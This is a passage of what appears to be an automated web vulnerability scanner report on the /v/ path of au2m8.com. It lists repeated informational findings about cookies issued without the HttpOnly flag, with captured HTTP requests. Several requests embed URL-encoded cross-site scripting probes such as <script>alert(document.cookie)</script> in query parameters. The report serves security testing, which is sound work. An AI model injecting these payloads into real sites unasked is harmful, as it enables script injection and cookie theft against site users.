bpl1296950983=1296947383; expires=Sun, 06-Feb-2011 00:09:43 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:09:43 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:09:43 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.392. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297013914=1297010314; expires=Sun, 06-Feb-2011 17:38:34 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:38:34 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:38:34 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:38:34 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.393. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297014806=1297011206; expires=Sun, 06-Feb-2011 17:53:26 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:53:26 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:53:26 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:53:26 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.394. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012534=1297008934; expires=Sun, 06-Feb-2011 17:15:34 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:15:34 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:15:34 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:15:34 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/350119091292093356328905.htm?vs=1&r=www.kledy.it%2F&s=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&t=982047
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.395. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012272=1297008672; expires=Sun, 06-Feb-2011 17:11:12 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:11:12 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:11:12 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:11:12 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/37211909126091178247379.htm?vs=1&r=www.kledy.co.uk%2F&s=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&t=271024
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.396. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297018286=1297014686; expires=Sun, 06-Feb-2011 18:51:26 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:51:26 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:51:26 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:51:26 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/798119091292066790328795.htm?vs=1&r=www.peppernews.eu%2F&s=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&t=327347
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; bpl1297012620=1297009020; bpl1297012626=1297009026; bpl1297012636=1297009036; bpl1297012651=1297009051; bpl1297012667=1297009067; bpl1297016038=1297012438; bpl1297016059=1297012459; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.397. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297013943=1297010343; expires=Sun, 06-Feb-2011 17:39:03 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:39:03 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:39:03 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:39:03 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/50811909125880119639927.htm?vs=1&r=www.kledy.us%2F&s=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&t=292565
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.398. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ARPT=NQJKKYS192.168.100.219CKOWU; path=/
bpl1297012232=1297008632; expires=Sun, 06-Feb-2011 17:10:32 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:10:32 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:10:32 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:10:32 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.399. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297014665=1297011065; expires=Sun, 06-Feb-2011 17:51:05 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:51:05 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:51:05 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:05 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.400. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297002318=1296998718; expires=Sun, 06-Feb-2011 14:25:18 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 14:25:18 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 14:25:18 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 13:25:18 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; bpl1297002238=1296998638; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297002287=1296998687; bpl1297002302=1296998702; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=4881

Response

15.401. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012367=1297008767; expires=Sun, 06-Feb-2011 17:12:47 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:12:47 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:12:47 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:12:47 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.402. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012579=1297008979; expires=Sun, 06-Feb-2011 17:16:19 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:16:19 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:16:19 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:19 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.403. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012429=1297008829; expires=Sun, 06-Feb-2011 17:13:49 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:13:49 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:13:49 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:13:49 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.404. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012302=1297008702; expires=Sun, 06-Feb-2011 17:11:42 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:11:42 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:11:42 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:11:42 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.405. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ARPT=NQJKKYS192.168.100.219CKOWU; path=/
bpl1297014464=1297010864; expires=Sun, 06-Feb-2011 17:47:44 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:47:44 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:47:44 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:47:44 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.406. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012335=1297008735; expires=Sun, 06-Feb-2011 17:12:15 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:12:15 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:12:15 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:12:15 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
